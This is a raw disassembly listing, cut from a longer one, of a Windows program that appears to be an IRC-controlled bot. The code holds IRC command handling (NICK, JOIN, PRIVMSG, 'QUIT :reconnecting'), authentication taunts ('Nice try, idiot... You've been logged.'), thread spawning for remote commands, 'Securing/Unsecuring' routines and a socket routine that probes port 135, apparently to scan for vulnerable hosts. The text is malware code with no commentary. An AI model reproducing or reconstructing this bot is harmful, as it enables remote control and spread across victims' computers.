		mov	[ebp+var_2E0], eax
		mov	[ebp+var_2E8], ebx
		jz	short loc_412048
		push	esi
		push	offset aFull	; "full"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412048
		mov	[ebp+var_2E8], 1


loc_412048:				; CODE XREF: sub_40CD3A+52F1j
					; sub_40CD3A+5302j
		lea	eax, [ebp+var_2D8]
		push	offset dword_433908
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	1Eh
		push	eax
		call	sub_414DDA
		add	esp, 14h
		mov	[ebp+var_2EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_370]
		push	ebx
		push	eax
		push	offset sub_413DFD
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_2EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_4120C8
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_4338B8
		push	eax
		call	sub_415316
		add	esp, 0Ch
		jmp	loc_40F5F3
; ---------------------------------------------------------------------------


loc_4120C0:				; CODE XREF: sub_40CD3A+5394j
		push	32h
		call	dword_421060	; Sleep


loc_4120C8:				; CODE XREF: sub_40CD3A+5364j
		cmp	[ebp+var_2DC], ebx
		jz	short loc_4120C0
		jmp	loc_40F5F3
; ---------------------------------------------------------------------------


loc_4120D5:				; CODE XREF: sub_40CD3A+1488j
					; sub_40CD3A+149Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_4120F4
		push	ebx
		push	[ebp+var_4]
		push	offset dword_433888
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h


loc_4120F4:				; CODE XREF: sub_40CD3A+539Ej
		push	[ebp+arg_4]
		call	dword_43C5EC
		call	dword_43C4B4
		call	sub_409D34
		push	ebx
		call	dword_421114	; ExitProcess


loc_41210F:				; CODE XREF: sub_40CD3A+145Ej
					; sub_40CD3A+1473j
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_40A9D8
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		push	offset dword_43385C
		jmp	short loc_412167
; ---------------------------------------------------------------------------


loc_41213A:				; CODE XREF: sub_40CD3A+1434j
					; sub_40CD3A+1449j
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40AC8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		push	offset dword_433830


loc_412167:				; CODE XREF: sub_40CD3A+5146j
					; sub_40CD3A+53FEj
		call	sub_40B078


loc_41216C:				; CODE XREF: sub_40CD3A+404Ej
		add	esp, 18h
		jmp	loc_412818
; ---------------------------------------------------------------------------


loc_412174:				; CODE XREF: sub_40CD3A+140Aj
					; sub_40CD3A+141Fj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B118


loc_412188:				; CODE XREF: sub_40CD3A+3A9j
					; sub_40CD3A+51A6j ...
		add	esp, 10h
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_412190:				; CODE XREF: sub_40CD3A+13E0j
					; sub_40CD3A+13F5j
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_A0C], bl
		jz	short loc_4121CF
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_4121CF
		push	esi
		push	[ebp+var_C]
		call	sub_4158E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4121CF
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_A0C]
		push	80h
		push	eax
		call	sub_41588A
		add	esp, 10h


loc_4121CF:				; CODE XREF: sub_40CD3A+545Fj
					; sub_40CD3A+546Aj ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_A8C]
		push	80h
		push	eax
		call	sub_41588A
		mov	eax, [ebp+arg_4]
		push	offset dword_433804
		mov	[ebp+var_A90], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_988], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_984], eax
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	1Ch
		push	eax
		call	sub_414DDA
		add	esp, 20h
		mov	[ebp+var_98C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A90]
		push	ebx
		push	eax
		push	offset sub_40B18A
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_98C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_412272
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4337B8
		jmp	loc_412993
; ---------------------------------------------------------------------------


loc_41226A:				; CODE XREF: sub_40CD3A+553Ej
		push	32h
		call	dword_421060	; Sleep


loc_412272:				; CODE XREF: sub_40CD3A+551Dj
		cmp	[ebp+var_980], ebx
		jz	short loc_41226A
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_41227F:				; CODE XREF: sub_40CD3A+13B6j
					; sub_40CD3A+13CBj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B000
		push	offset dword_433788
		call	sub_40B078


loc_41229A:				; CODE XREF: sub_40CD3A+50AAj
		add	esp, 10h
		jmp	loc_412818
; ---------------------------------------------------------------------------


loc_4122A2:				; CODE XREF: sub_40CD3A+138Cj
					; sub_40CD3A+13A1j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_404]
		push	80h
		push	eax
		call	sub_41588A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_408], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_37C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_378], eax
		jz	short loc_4122FC
		push	offset dword_433784
		push	esi
		call	sub_415730
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_380], eax
		jmp	short loc_412302
; ---------------------------------------------------------------------------


loc_4122FC:				; CODE XREF: sub_40CD3A+55A6j
		mov	[ebp+var_380], ebx


loc_412302:				; CODE XREF: sub_40CD3A+55C0j
		lea	eax, [ebp+var_2D8]
		push	offset dword_433754
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	1Fh
		push	eax
		call	sub_414DDA
		add	esp, 14h
		mov	[ebp+var_384], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_408]
		push	ebx
		push	eax
		push	offset sub_414E45
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_384]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_412373
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_433708
		jmp	loc_411308
; ---------------------------------------------------------------------------


loc_41236B:				; CODE XREF: sub_40CD3A+563Fj
		push	32h
		call	dword_421060	; Sleep


loc_412373:				; CODE XREF: sub_40CD3A+561Ej
		cmp	[ebp+var_374], ebx
		jz	short loc_41236B
		jmp	loc_40F547
; ---------------------------------------------------------------------------


loc_412380:				; CODE XREF: sub_40CD3A+1310j
					; sub_40CD3A+1325j
		push	offset aId999	; "id999"
		lea	eax, [ebp+var_2D8]
		push	offset dword_4336DC
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 20h
		jmp	loc_40F547
; ---------------------------------------------------------------------------


loc_4123B7:				; CODE XREF: sub_40CD3A+12E6j
					; sub_40CD3A+12FBj
		push	dword_46A9B8
		call	sub_40A8CF
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_43369C
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 24h
		jmp	loc_40F547
; ---------------------------------------------------------------------------


loc_4123F5:				; CODE XREF: sub_40CD3A+12BCj
					; sub_40CD3A+12D1j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_412427
		cmp	[ebp+var_C], ebx
		jz	short loc_412436
		push	esi
		push	[ebp+var_C]
		call	sub_4158E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412436
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		add	esp, 0Ch
		jmp	short loc_412436
; ---------------------------------------------------------------------------


loc_412427:				; CODE XREF: sub_40CD3A+56C4j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		pop	ecx
		pop	ecx


loc_412436:				; CODE XREF: sub_40CD3A+56C9j
					; sub_40CD3A+56D8j ...
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_40D192
; ---------------------------------------------------------------------------


loc_41243E:				; CODE XREF: sub_40CD3A+1292j
					; sub_40CD3A+12A7j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		push	offset dword_433648
		call	sub_40B078
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40D192
; ---------------------------------------------------------------------------


loc_412460:				; CODE XREF: sub_40CD3A+1268j
					; sub_40CD3A+127Dj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		push	offset dword_433604
		call	sub_40B078
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40D192
; ---------------------------------------------------------------------------


loc_412481:				; CODE XREF: sub_40CD3A+123Ej
					; sub_40CD3A+1253j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_407075


loc_412492:				; CODE XREF: sub_40CD3A+3FBAj
		add	esp, 0Ch
		jmp	loc_412818
; ---------------------------------------------------------------------------


loc_41249A:				; CODE XREF: sub_40CD3A+1199j
					; sub_40CD3A+11AEj
		push	[ebp+esi+var_90]
		push	1Eh
		push	offset dword_4335F4
		push	offset dword_4335E8
		jmp	short loc_4124C2
; ---------------------------------------------------------------------------


loc_4124AF:				; CODE XREF: sub_40CD3A+116Fj
					; sub_40CD3A+1184j
		push	[ebp+esi+var_90]
		push	1Bh
		push	offset dword_4335DC
		push	offset dword_4335CC


loc_4124C2:				; CODE XREF: sub_40CD3A+FEAj
					; sub_40CD3A+1013j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_415062
		add	esp, 20h
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_4124DE:				; CODE XREF: sub_40CD3A+FABj
					; sub_40CD3A+FC0j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_4124FD
		push	edi
		call	sub_41587F
		test	eax, eax
		pop	ecx
		jz	short loc_4124FD
		push	edi
		call	sub_41587F
		pop	ecx
		jmp	short loc_412502
; ---------------------------------------------------------------------------


loc_4124FD:				; CODE XREF: sub_40CD3A+57ADj
					; sub_40CD3A+57B8j
		mov	eax, dword_42C248


loc_412502:				; CODE XREF: sub_40CD3A+57C1j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_38C], eax
		cmp	esi, ebx
		jz	short loc_412527
		push	esi


loc_412514:				; CODE XREF: sub_40CD3A+57FCj
		lea	eax, [ebp+var_39C]
		push	10h
		push	eax
		call	sub_41588A
		add	esp, 0Ch
		jmp	short loc_41253E
; ---------------------------------------------------------------------------


loc_412527:				; CODE XREF: sub_40CD3A+57D7j
		cmp	[ebp+var_8FF], bl
		jz	short loc_412538
		lea	eax, [ebp+var_C0]
		push	eax
		jmp	short loc_412514
; ---------------------------------------------------------------------------


loc_412538:				; CODE XREF: sub_40CD3A+57F3j
		mov	[ebp+var_39C], bl


loc_41253E:				; CODE XREF: sub_40CD3A+57EBj
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_380], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_37C], eax
		lea	eax, [ebp+var_41C]
		push	eax
		mov	[ebp+var_420], esi
		call	sub_41588A
		add	esp, 0Ch
		push	[ebp+var_38C]
		push	esi
		call	sub_40A08A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset unk_427DD0
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	11h
		push	eax
		call	sub_414DDA
		add	esp, 1Ch
		mov	[ebp+var_388], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		push	offset sub_407F42
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_388]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_4125F2
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_433580
		jmp	loc_412993
; ---------------------------------------------------------------------------


loc_4125EA:				; CODE XREF: sub_40CD3A+58BEj
		push	32h
		call	dword_421060	; Sleep


loc_4125F2:				; CODE XREF: sub_40CD3A+589Dj
		cmp	[ebp+var_378], ebx
		jz	short loc_4125EA
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_4125FF:				; CODE XREF: sub_40CD3A+F57j
					; sub_40CD3A+F6Cj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412627
		push	edi
		push	offset aSec	; "sec"
		call	sub_415730
		pop	ecx
		mov	[ebp+var_2E8], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_412631


loc_412627:				; CODE XREF: sub_40CD3A+58D4j
		mov	[ebp+var_2E8], 1


loc_412631:				; CODE XREF: sub_40CD3A+58EBj
		push	[ebp+var_8C]
		lea	eax, [ebp+var_36C]
		push	80h
		push	eax
		call	sub_41588A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_2E8], ebx
		mov	[ebp+var_370], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2E4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E0], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_412678
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_412678:				; CODE XREF: sub_40CD3A+5937j
		push	eax
		push	offset dword_433530
		lea	eax, [ebp+var_2D8]
		push	200h
		push	eax
		call	sub_41588A
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	19h
		push	eax
		call	sub_414DDA
		add	esp, 1Ch
		mov	[ebp+var_2EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_370]
		push	ebx
		push	eax
		push	offset sub_4144A0
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_2EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_4126EF
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4334E0
		jmp	loc_4108F0
; ---------------------------------------------------------------------------


loc_4126E7:				; CODE XREF: sub_40CD3A+59BBj
		push	32h
		call	dword_421060	; Sleep


loc_4126EF:				; CODE XREF: sub_40CD3A+599Aj
		cmp	[ebp+var_2DC], ebx
		jz	short loc_4126E7
		jmp	loc_40D68B
; ---------------------------------------------------------------------------


loc_4126FC:				; CODE XREF: sub_40CD3A+F2Dj
					; sub_40CD3A+F42j
		push	offset aEnz999_9b ; "enz 999.9b"
		push	offset dword_4334B8
		jmp	loc_40F517
; ---------------------------------------------------------------------------


loc_41270B:				; CODE XREF: sub_40CD3A+F03j
					; sub_40CD3A+F18j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_412767
		push	esi
		call	sub_41587F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_41275C
		cmp	eax, 2
		jge	short loc_41275C
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		lea	esi, [ecx+edx]
		cmp	[esi], bl
		jz	short loc_412751
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_436698
		push	eax
		call	sub_415316
		mov	[esi], bl
		jmp	loc_40EB0A
; ---------------------------------------------------------------------------


loc_412751:				; CODE XREF: sub_40CD3A+59F9j
		push	eax
		push	offset dword_433478
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_41275C:				; CODE XREF: sub_40CD3A+59E5j
					; sub_40CD3A+59EAj
		push	eax
		push	offset dword_433438
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_412767:				; CODE XREF: sub_40CD3A+59DAj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_41276C:				; CODE XREF: sub_40CD3A+5A4Ej
		push	[ebp+var_94]
		push	edi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41278F
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_41276C
		jmp	loc_40F8F6
; ---------------------------------------------------------------------------


loc_41278F:				; CODE XREF: sub_40CD3A+5A42j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset dword_436698
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_4127A9:				; CODE XREF: sub_40CD3A+ED9j
					; sub_40CD3A+EEEj
		push	[ebp+var_90]
		push	offset dword_4365F0
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412818
		call	sub_414F9D
		push	ebx
		call	dword_421114	; ExitProcess


loc_4127CB:				; CODE XREF: sub_40CD3A+EAFj
					; sub_40CD3A+EC4j
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_43C]
		push	dword_42C268
		push	eax
		call	sub_414278
		lea	eax, [ebp+var_43C]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		lea	eax, [ebp+var_43C]
		push	eax
		push	offset dword_433400
		call	sub_40B0EC


loc_412815:				; CODE XREF: sub_40CD3A+2A1Fj
		add	esp, 24h


loc_412818:				; CODE XREF: sub_40CD3A+61Dj
					; sub_40CD3A+629j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40D192
; ---------------------------------------------------------------------------


loc_412820:				; CODE XREF: sub_40CD3A+ABBj
					; sub_40CD3A+AD0j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], esi
		jz	loc_40D18F
		cmp	[ebp+var_A4], ebx
		jnz	loc_40D18F
		push	offset dword_42F4B0
		push	[ebp+var_94]
		call	sub_416B3F
		mov	esi, eax
		push	offset dword_43B198
		push	ebx
		inc	esi
		call	sub_416B3F
		push	offset asc_4333FC ; "~"
		push	eax
		call	sub_416B3F
		push	[ebp+arg_0]
		mov	edi, eax
		push	offset aHi	; "hi"
		call	sub_415730
		add	esp, 20h
		test	eax, eax
		jz	short loc_4128C8
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		push	edi
		push	esi
		push	offset dword_433370


loc_4128B4:				; CODE XREF: sub_40CD3A+5BE7j
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316
		add	esp, 30h
		jmp	loc_40D68B
; ---------------------------------------------------------------------------


loc_4128C8:				; CODE XREF: sub_40CD3A+5B41j
		mov	[ebp+arg_24], ebx


loc_4128CB:				; CODE XREF: sub_40CD3A+5BAEj
		mov	eax, [ebp+arg_24]
		push	edi
		push	off_42C32C[eax]
		call	sub_41512D
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412923
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], 4
		jb	short loc_4128CB
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		push	edi
		push	esi
		push	offset dword_433330
		jmp	short loc_4128B4
; ---------------------------------------------------------------------------


loc_412923:				; CODE XREF: sub_40CD3A+5BA4j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_412928:				; CODE XREF: sub_40CD3A+5C0Fj
		cmp	[edi], bl
		jnz	short loc_41293F
		push	[ebp+arg_0]
		push	offset aHi	; "hi"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412950


loc_41293F:				; CODE XREF: sub_40CD3A+5BF0j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_412928
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_412950:				; CODE XREF: sub_40CD3A+5C03j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_B10]
		push	7Fh
		push	eax
		push	esi
		call	sub_416BE0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_412987
		push	ebx
		push	[ebp+var_4]
		push	offset dword_4332FC
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h


loc_412987:				; CODE XREF: sub_40CD3A+5C31j
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset dword_4332C8


loc_412993:				; CODE XREF: sub_40CD3A+575j
					; sub_40CD3A+552Bj ...
		call	sub_40B0EC
		pop	ecx


loc_412999:				; CODE XREF: sub_40CD3A+28C5j
		pop	ecx
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_41299F:				; CODE XREF: sub_40CD3A+200j
					; sub_40CD3A+215j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		push	offset dword_42C2FC
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		add	esp, 2Ch
		mov	dword_46AB30, edi
		jmp	loc_40CFC9
sub_40CD3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4129E5	proc near		; CODE XREF: sub_412A1D+125p
					; sub_412A1D+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_412A13


loc_4129F6:				; CODE XREF: sub_4129E5+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_417950
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_412A19
		inc	esi
		cmp	esi, edi
		jl	short loc_4129F6


loc_412A13:				; CODE XREF: sub_4129E5+Fj
		xor	al, al


loc_412A15:				; CODE XREF: sub_4129E5+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_412A19:				; CODE XREF: sub_4129E5+27j
		mov	al, 1
		jmp	short loc_412A15
sub_4129E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A1D	proc near		; CODE XREF: sub_4033B6+88p
					; sub_4033B6+174p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_415B90
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_412A5E
		dec	eax
		jz	short loc_412A3C
		dec	eax


loc_412A36:				; CODE XREF: sub_412A1D+57j
		xor	eax, eax


loc_412A38:				; CODE XREF: sub_412A1D+3Fj
					; sub_412A1D+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_412A3C:				; CODE XREF: sub_412A1D+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_43C594
		push	eax
		call	sub_40762E
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_412A38
; ---------------------------------------------------------------------------


loc_412A5E:				; CODE XREF: sub_412A1D+13j
		push	6
		push	1
		push	2
		call	dword_43C5D4
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_412A36
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_43C554
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_409F7A
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43C4FC
		cmp	eax, edi
		jz	loc_412B7A
		push	ebx
		push	48h
		push	offset dword_436710
		push	esi
		call	dword_43C5A4
		cmp	eax, edi
		jz	loc_412B7A
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43C56C
		cmp	eax, edi
		jz	loc_412B7A
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_412B7A
		push	ebx
		push	18h
		push	offset dword_43675C
		push	[ebp+arg_4]
		call	dword_43C5A4
		cmp	eax, edi
		jz	short loc_412B7A
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43C56C
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_412B7A
		cmp	[ebp+var_200E],	2
		jnz	short loc_412B7A
		push	10h
		push	offset loc_436778
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_4129E5
		add	esp, 10h
		test	al, al
		jz	short loc_412B5A
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_412B7A
; ---------------------------------------------------------------------------


loc_412B5A:				; CODE XREF: sub_412A1D+12Fj
		push	10h
		push	offset dword_43678C
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_4129E5
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_412B7A:				; CODE XREF: sub_412A1D+9Bj
					; sub_412A1D+B2j ...
		push	[ebp+arg_4]
		call	dword_43C5EC
		mov	eax, ebx
		pop	ebx
		jmp	loc_412A38
sub_412A1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B8B	proc near		; CODE XREF: sub_40CBBE+3Dp
					; sub_40CD3A+1BDp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41732F
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43C5A4
		leave
		retn
sub_412B8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412BD1	proc near		; CODE XREF: sub_401000+88p
					; sub_401444+76p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_412BEC
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_412BEC:				; CODE XREF: sub_412BD1+14j
		push	edi
		call	sub_415B10
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_415B10
		push	[ebp+arg_8]
		sub	esi, eax
